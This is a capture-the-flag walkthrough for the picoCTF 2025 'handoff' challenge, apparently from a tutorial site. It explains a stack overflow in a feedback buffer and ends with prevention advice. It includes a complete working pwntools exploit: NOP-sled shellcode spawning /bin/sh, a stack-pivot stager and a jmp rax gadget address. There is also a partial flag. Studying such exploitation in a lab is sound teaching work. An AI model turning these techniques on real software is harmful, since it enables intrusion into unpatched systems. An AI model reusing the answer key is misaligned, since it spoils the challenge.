Skip to main content

handoff picoCTF 2025 Solution

Store shellcode in a recipient entry, then overflow the feedback buffer and pivot execution into it through a jmp rax gadget.

Published: April 2, 2025Updated: August 25, 2026

Description

A messaging program stores recipients and their messages on the stack. NX is disabled and PIE is off. Add one recipient and store shellcode in entries[0].msg, then overflow the feedback buffer to redirect execution through a jmp rax gadget, which lands on a stager that pivots rsp into the shellcode stored in entry 0's message buffer.

Download the binary and source from the picoCTF challenge page.

Check the binary protections - NX is off (stack executable) and PIE is disabled (fixed addresses). That combination is the green light for shellcode injection.

Hunt for the jmp rax gadget so you have its fixed address ready.

Study the struct layout: each entry has an 8-byte name and a 64-byte message buffer.

bash
checksec --file=handoff
bash
ROPgadget --binary handoff | grep 'jmp rax'
bash
nc <INSTANCE_HOST> <PORT_FROM_INSTANCE>

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
This is a classic stack-pivot pwn; the Buffer Overflow Binary Exploitation guide walks through return-address overwrites, and Pwntools for CTF covers shellcraft.sh(), asm(), and the network plumbing used here.
  1. Step 1Understand the program structure and find the bugs
    Observation
    checksec reports NX disabled and no PIE, and the source reads 32 bytes into an 8-byte feedback buffer. The exit path is the overflow, and with a fixed-address gadget available, injected shellcode is the way in.
    Three options: add recipient (option 1), send message (option 2), exit (option 3). Each entry is 8 bytes for the name and 64 bytes for the message. The exit option reads 32 bytes via fgets into only an 8-byte feedback buffer. Since RAX holds the return value of fgets (the address of the feedback buffer), and since we can use a jmp rax gadget at a fixed address (no PIE), we can redirect to our feedback buffer and pivot from there. The source shows the name buffer is only 8 bytes even though NAME_LEN is 32 - the name field is truncated in the struct, which is a separate bug, but the key overflow is in the exit feedback.
    bash
    # Each entry struct:
    # struct entry { char name[8]; char msg[64]; };
    # entry entries[10];
    # The feedback buffer in exit is 8 bytes; fgets reads 32.
    # Overflow: 8 bytes feedback + 4 bytes padding + 8 bytes saved RBP = 20 bytes in.
    What didn't work first

    Tried: Overflow the name buffer in option 1 (add recipient) instead of the feedback buffer in option 3 (exit).

    The name field is truncated to 8 bytes inside the struct, so a long name corrupts neighboring struct memory and never reaches a return address. The feedback buffer is the site that matters: fgets reads 32 bytes into 8, and that buffer sits just below the saved RIP in the exit handler's frame.

    Tried: Use gdb to calculate the overflow offset as 8 bytes (feedback buffer size) without accounting for alignment or saved RBP.

    An x86-64 frame puts a saved RBP between the local buffer and the return address. The offset to RIP is 8 for the buffer, 4 for alignment padding, and 8 for the saved RBP: 20 bytes in total. Write the gadget at byte 8 and you clobber RBP instead, and the function returns to garbage.

    Learn more

    NX (No-eXecute) is a hardware protection that marks memory regions as either executable or writable but not both. With NX disabled, data on the stack can be executed as machine code. The checksec utility confirms this; seeing NX disabled means shellcode injection is viable. With no PIE, all code addresses are fixed, so the jmp rax gadget is always at the same address across runs.

    The key insight is that fgets returns the address of the buffer it just filled - stored in rax. After the overflow overwrites the return address with the address of a jmp rax gadget, execution jumps to the feedback buffer. The feedback buffer holds a small stager that pivots rsp backward on the stack into the 64-byte message buffer of entry 0, where the NOP sled and real shellcode live.

  2. Step 2Add one recipient and store shellcode in entry 0
    Observation
    entries[0].msg is 64 bytes on the stack, enough for a NOP sled and the payload, and the stager reaches it through a hardcoded 0x2e8 offset. Allocate exactly one recipient, write the shellcode there, then trigger the overflow.
    Add 1 recipient (option 1, once) with any name. Then send the main shellcode as the message to recipient 0 (option 2, index 0). The shellcode lands in entries[0].msg. Pad the shellcode up to 64 bytes with NOPs so the stager always jumps into the NOP sled and reaches the real payload. The stager in the feedback buffer does nop; sub rsp, 0x2e8; jmp rsp, moving the stack pointer 744 bytes backward on the stack and jumping there - right into entries[0].msg.
    python
    from pwn import *
    context.arch = 'amd64'
    p = remote('<INSTANCE_HOST>', <PORT_FROM_INSTANCE>)
    shellcode = asm(shellcraft.sh())
    nop_sled = asm('nop') * (63 - len(shellcode))
    
    # Add 1 recipient so entry 0 is allocated
    p.sendlineafter(b'Exit', b'1')
    p.sendlineafter(b"recipient's name:", b'exploit')
    
    # Send shellcode as message to recipient 0
    p.sendlineafter(b'Exit', b'2')
    p.sendlineafter(b'send a message to?', b'0')
    p.sendlineafter(b'What message', nop_sled + shellcode)
    What didn't work first

    Tried: Allocate more than one recipient to give the shellcode extra room, adding entries 1 and 2 before sending the shellcode.

    The stager subtracts a fixed 744 bytes from RSP to reach entries[0].msg. Extra entries shift the layout, so the pivot lands in unrelated stack memory instead of the shellcode. Allocate one recipient and the layout matches the baked-in offset.

    Tried: Send the shellcode without a NOP sled, filling all 64 bytes with shellcode bytes and relying on the stager to land on the first byte exactly.

    The pivot lands wherever RSP points after the subtraction, which can sit a few bytes off the start of the buffer because of alignment or small layout differences. Without a sled, a four-byte miss has the CPU decoding mid-instruction and crashing. NOPs at the front give it a landing zone.

    Learn more

    pwntools' shellcraft module generates minimal x86-64 shellcode to call execve("/bin/sh", NULL, NULL). The 64-byte message buffer in entries[0] is more than large enough; typical shellcraft output is around 44 bytes. Padding the front with NOPs creates a sled so the stager does not need to land on exactly the first byte of the shellcode instruction.

    Only one recipient needs to be allocated. The stager subtracts a fixed offset of 0x2e8 (744 bytes) from RSP to land in entries[0].msg. That offset reflects the distance from the feedback buffer to the first entry on the stack; allocating additional entries beyond entry 0 would shift the layout and break the offset.

  3. Step 3Overflow feedback and pivot to shellcode via jmp rax
    Observation
    fgets leaves the feedback buffer's address in rax, and ROPgadget finds a jmp rax at a fixed address. Put a stager in the feedback buffer and overwrite the return address with that gadget, and no stack leak is needed.
    Choose option 3 (exit). Build the payload: the stager bytes (nop; sub rsp, 0x2e8; jmp rsp assembled, ~10 bytes), NOP padding to reach byte 20, then the 8-byte jmp rax gadget address (0x40116c). When the function returns, execution jumps to the jmp rax gadget. RAX still holds the feedback buffer address (fgets return value), so jmp rax executes the stager. The stager subtracts 0x2e8 from rsp (moving the stack pointer 744 bytes backward, into entries[0].msg) and jumps rsp there - right into the NOP sled and shellcode.
    bash
    # Find the jmp rax gadget address:
    # ROPgadget --binary handoff | grep 'jmp rax'
    JMP_RAX = 0x000000000040116c
    
    stager = asm('nop; sub rsp, 0x2e8; jmp rsp')  # ~10 bytes
    # Pad to 20 bytes (feedback at offset 0, return address at offset 20)
    payload = stager + b'\x00' * (20 - len(stager)) + p64(JMP_RAX)
    assert len(payload) <= 32, "payload must fit the 32-byte fgets read"
    
    p.sendlineafter(b'Exit', b'3')
    p.sendline(payload)
    p.interactive()
    What didn't work first

    Tried: Use a ret2shellcode approach by overwriting RIP directly with the address of entries[0].msg instead of routing through the jmp rax gadget.

    That buffer is on the stack, so ASLR randomizes its address even though the binary itself is not PIE, and without a leak you do not know where it is. The jmp rax gadget steps around that: fgets already left the feedback buffer's address in rax, and it is still there when the ret executes.

    Tried: Place the full shellcode directly in the feedback buffer payload instead of using a stager, since the feedback buffer is executable with NX disabled.

    There are only 20 bytes before the return address, and the stager already spends about 10 of them; after the 8-byte gadget address barely 3 bytes are left, since fgets stores at most 31 characters plus its terminator. A working execve payload runs 44 bytes or more. The stager exists to bridge from there to the 64-byte message buffer, which is large enough.

    Learn more

    When the exit function returns, the CPU reads the overwritten return address and jumps to the jmp rax gadget. At that point, rax holds the address of the feedback buffer because the x86-64 SysV ABI returns function results in rax, and fgets returns its buffer pointer. This persists through the function epilogue, making jmp rax jump directly to the stager at the start of the feedback buffer.

    The stager does sub rsp, 0x2e8 (subtract 744 decimal) which moves the stack pointer backward 744 bytes - landing inside entries[0].msg, where the NOP sled and shellcode live. Then jmp rsp transfers control there. The offset 0x2e8 was determined by analyzing the stack layout: entries[0].msg is positioned approximately 744 bytes before the feedback buffer in memory.

    The leading nop is not strictly required: jmp rax lands on the feedback buffer's first byte exactly, so the sub would execute either way. It costs one byte and keeps the stager tolerant of a landing that is off by one, which is cheap insurance in a 20-byte window. What does matter is keeping the payload inside the read: fgets writes its terminating null immediately after the last byte it stored, so with 28 bytes of payload that null lands past the gadget address rather than inside the stager.

    The jmp rax gadget is found by scanning the binary with ROPgadget --binary handoff | grep "jmp rax". Because PIE is disabled, the gadget's address is fixed at 0x40116c regardless of ASLR. In a PIE binary you would first need to leak a code address.

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{p1v0ted_ftw_...}

Add 1 recipient, store shellcode (with NOP sled) in entry 0's message, overflow feedback with a stager (nop; sub rsp, 0x2e8; jmp rsp) + padding + jmp rax gadget address. Execution flows: ret -> jmp rax gadget -> stager -> pivots rsp into entries[0].msg -> shellcode.

Key takeaway

A stack pivot redirects the stack pointer into memory you control, bridging a small overflow to a larger payload staged elsewhere. With NX off, any writable region doubles as executable; with PIE off as well, gadget addresses are fixed and the chain needs no leak at all. Modern builds turn on NX, PIE, stack canaries, and ASLR together because each one alone is bypassable, and all four force an attacker to chain several primitives just to start.

How to prevent this

This exploit chains a buffer overflow with disabled NX. Either mitigation alone breaks it.

  • Bounds-check the read into the feedback buffer. read(fd, buf, sizeof(buf)), or use fgets with the buffer length. scanf("%s") and gets are unsafe by design.
  • Compile with NX (-z noexecstack, the default in modern toolchains). With NX on, even a successful return-address overwrite cannot execute shellcode placed in stack/heap data; the attacker is forced into ROP, which adds a large prerequisite (gadget hunt + leak).
  • Add PIE (-fPIE -pie) and stack canaries (-fstack-protector-strong). PIE randomizes jmp rax gadget addresses; canaries detect the overflow before ret ever executes.

Related reading

Tools used in this challenge

Where to go next